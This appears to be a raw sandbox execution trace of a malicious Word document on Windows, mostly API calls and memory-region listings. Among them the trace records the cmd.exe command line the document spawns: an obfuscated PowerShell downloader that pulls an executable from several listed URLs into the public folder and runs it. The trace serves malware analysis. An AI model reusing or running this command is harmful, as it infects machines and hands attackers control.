0x0 [0087.076] SysStringByteLen (bstr="潎浲污") returned 0x6 [0087.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbbfcc68, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0087.076] SysStringByteLen (bstr="潎浲污") returned 0x6 [0087.076] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbbfcc68, cbMultiByte=7, lpWideCharStr=0x781bea8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0087.076] CExposedDocFile::Release () returned 0x2 [0087.076] CExposedDocFile::Release () returned 0x1 [0087.077] IMalloc:Free (This=0x7fefe9e5380, pv=0x75ebe10) [0087.077] IMalloc:Free (This=0x7fefe9e5380, pv=0x75ee110) [0087.077] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd380) [0087.083] SetCursor (hCursor=0x10007) returned 0x10003 [0087.083] CExposedDocFile::Release () returned 0x0 [0087.083] CExposedDocFile::Release () returned 0x0 [0087.084] GetCurrentThreadId () returned 0x9d8 [0087.084] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a25720) [0087.090] CExposedDocFile::Release () returned 0x5 [0087.090] CExposedDocFile::Release () returned 0x4 [0087.090] CExposedDocFile::Release () returned 0x3 [0087.090] CExposedDocFile::Release () returned 0x2 [0087.090] CExposedDocFile::Release () returned 0x1 [0087.090] IMalloc:Free (This=0x7fefe9e5380, pv=0x75e1c50) [0087.091] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd460) [0087.091] SetCursor (hCursor=0x10007) returned 0x10007 [0087.091] CExposedDocFile::Release () returned 0x1 [0087.091] CExposedDocFile::Release () returned 0x0 [0087.091] CExposedDocFile::Release () returned 0x0 [0087.091] IMalloc:Free (This=0x7fefe9e5380, pv=0xbf30e50) [0087.091] IMalloc:Free (This=0x7fefe9e5380, pv=0x2b8bd30) [0087.091] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c470) [0087.091] IMalloc:Free (This=0x7fefe9e5380, pv=0x7820250) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a07f20) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10a20) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c2f0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c350) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a8caa0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972100) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0xbbdbae0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0xbcb5390) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10ea0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972140) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10de0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x790c340) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a080a0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10420) [0087.092] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0xbd2e490 [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f81b0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bff0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c200) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd5b0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb683b0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x796fb00) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c170) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7542740) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x795a3a0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0xbd2e490) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8040) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb5f8a0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c260) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c020) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a107e0) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10720) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x795a310) [0087.092] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f81a0) [0087.092] wcsncpy_s (in: _Destination=0x309580, _SizeInWords=0x108, _Source="*\\Z0;5bf1ad1d", _MaxCount=0x106 | out: _Destination="*\\Z0;5bf1ad1d") returned 0x0 [0087.092] CharLowerBuffW (in: lpsz="*\\Z0;5bf1ad1d", cchLength=0xd | out: lpsz="*\\z0;5bf1ad1d") returned 0xd [0087.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z0;5bf1ad1d", cchWideChar=14, lpMultiByteStr=0x3094b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z0;5bf1ad1d", lpUsedDefaultChar=0x0) returned 14 [0087.093] _wcsicmp (_String1="*\\Z0;5bf1ad1d", _String2="*\\Z0;5bf1ad1d") returned 0 [0087.093] VirtualFree (lpAddress=0x7240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.094] VirtualFree (lpAddress=0xcb30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.094] VirtualFree (lpAddress=0xd850000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.095] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd7e0) [0087.095] VirtualFree (lpAddress=0x9df0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.095] VirtualFree (lpAddress=0x6ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x795a1f0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd2a0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb7f5c0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8060) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd230) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb66c70) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x794f920) [0087.096] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8060 [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7fb0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c770) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c710) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd690) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7ad9a10) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c800) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d520) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959980) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8060) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f75b0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb46ff0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a0fe20) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a0fee0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79598f0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb59d30) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb60540) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7ada440) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c650) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x532fc90) [0087.096] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f75b0 [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f75a0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c620) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x790c100) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7adaad0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c6b0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d7a0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959c50) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f75b0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7fa0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7ada060) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x796dce0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a0ffa0) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10060) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959b30) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb5a430) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb6ae20) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb65530) [0087.096] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c5f0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb87c50) [0087.097] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fa0 [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7ff0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c5c0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bf30) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb65bc0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c6e0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d4a0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959bc0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7fa0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7fd0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb65150) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10120) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a101e0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959d70) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb66210) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb756f0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb74a10) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c500) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbbbb690) [0087.097] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7fd0 [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8030) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c4d0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bc00) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb750a0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c530) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d720) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959e90) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7fd0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8010) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb74630) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a102a0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10360) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959ce0) [0087.097] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bd80) [0087.097] wcsncpy_s (in: _Destination=0x309900, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0087.097] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0087.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x309830, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0087.097] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0087.097] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0087.100] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f7f90 [0087.100] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f8050) [0087.100] IMalloc:Free (This=0x7fefe9e5380, pv=0x781be40) [0087.100] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bd50) [0087.100] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb68f20) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x781c050) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970080) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x795a4c0) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7f90) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x79f7590) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb5ae00) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10660) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x796c5a0) [0087.101] IMalloc:Free (This=0x7fefe9e5380, pv=0x796c6e0) [0087.102] GetCurrentThreadId () returned 0x9d8 [0087.113] SetCursor (hCursor=0x10007) returned 0x10007 [0087.113] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a25930) [0087.113] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a25880) Thread: id = 13 os_tid = 0xa74 Thread: id = 14 os_tid = 0xa78 Thread: id = 15 os_tid = 0xa7c Thread: id = 16 os_tid = 0xa80 Thread: id = 17 os_tid = 0xa84 Thread: id = 18 os_tid = 0xa88 Thread: id = 19 os_tid = 0xaac Thread: id = 20 os_tid = 0xacc Thread: id = 22 os_tid = 0xad8 Thread: id = 80 os_tid = 0x8a0 Thread: id = 81 os_tid = 0x8b0 Thread: id = 82 os_tid = 0x8f4 Thread: id = 83 os_tid = 0x910 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4f008000" os_pid = "0xad0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9d4" cmd_line = "CmD wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %binkOHOTJcSMBkQ%=EINhmPkdO&&set %kiqjRiiiH%=owe^r^s&&set %zzwpVwCTCRDvTBu%=pOwoJiQoW&&set %CdjPuLtXi%=p&&set %GKZajcAqFZkRLZw%=NazJjhVlGSrXQvT&&set %QiiPPcnDM%=^he^l^l&&set %jiIZiKXbkZQMpuQ%=dipAbiiHEplZSHr&&!%CdjPuLtXi%!!%kiqjRiiiH%!!%QiiPPcnDM%! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 794 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 795 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 796 start_va = 0x49f60000 end_va = 0x49fb8fff entry_point = 0x49f60000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 797 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 798 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 799 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 800 start_va = 0x7feff3b0000 end_va = 0x7feff3b0fff entry_point = 0x7feff3b0000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 801 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 802 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 803 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 804 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 805 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 806 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 807 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x76f85ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 808 start_va = 0x7fefd320000 end_va = 0x7fefd38afff entry_point = 0x7fefd3230e0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 809 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 810 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 811 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 812 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x76e8a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 813 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 814 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 815 start_va = 0x7fef5290000 end_va = 0x7fef5297fff entry_point = 0x7fef5290000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 816 start_va = 0x7fefd490000 end_va = 0x7fefd49dfff entry_point = 0x7fefd491080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 817 start_va = 0x7fefd4a0000 end_va = 0x7fefd568fff entry_point = 0x7fefd51a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 818 start_va = 0x7fefe330000 end_va = 0x7fefe396fff entry_point = 0x7fefe33b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 819 start_va = 0x7fefef80000 end_va = 0x7feff01efff entry_point = 0x7fefef825a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 820 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 821 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 822 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 823 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 824 start_va = 0x370000 end_va = 0x46ffff entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 825 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 826 start_va = 0x530000 end_va = 0x6b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 827 start_va = 0x6c0000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 828 start_va = 0x850000 end_va = 0x1c4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 829 start_va = 0x1c50000 end_va = 0x1f92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c50000" filename = "" Region: id = 830 start_va = 0x7fefe300000 end_va = 0x7fefe32dfff entry_point = 0x7fefe301010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 831 start_va = 0x7fefebf0000 end_va = 0x7fefecf8fff entry_point = 0x7fefebf1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 832 start_va = 0x1fa0000 end_va = 0x226efff entry_point = 0x1fa0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 21 os_tid = 0xad4 [0019.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f7f0 | out: lpSystemTimeAsFileTime=0x24f7f0*(dwLowDateTime=0x3b6a02f0, dwHighDateTime=0x1d36875)) [0019.813] GetCurrentProcessId () returned 0xad0 [0019.813] GetCurrentThreadId () returned 0xad4 [0019.813] GetTickCount () returned 0x14d35 [0019.813] QueryPerformanceCounter (in: lpPerformanceCount=0x24f7f8 | out: lpPerformanceCount=0x24f7f8*=329791366) returned 1 [0019.816] GetModuleHandleW (lpModuleName=0x0) returned 0x49f60000 [0019.816] __set_app_type (_Type=0x1) [0019.816] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f87810) returned 0x0 [0019.816] __getmainargs (in: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610, _DoWildCard=0, _StartInfo=0x49f8e0f4 | out: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610) returned 0 [0019.817] GetCurrentThreadId () returned 0xad4 [0019.817] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xad4) returned 0x3c [0019.817] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f70000 [0019.817] GetProcAddress (hModule=0x76f70000, lpProcName="SetThreadUILanguage") returned 0x76f86d40 [0019.817] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0019.817] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0019.817] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f788 | out: phkResult=0x24f788*=0x0) returned 0x2 [0019.817] VirtualQuery (in: lpAddress=0x24f770, lpBuffer=0x24f6f0, dwLength=0x30 | out: lpBuffer=0x24f6f0*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0019.818] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24f6f0, dwLength=0x30 | out: lpBuffer=0x24f6f0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, 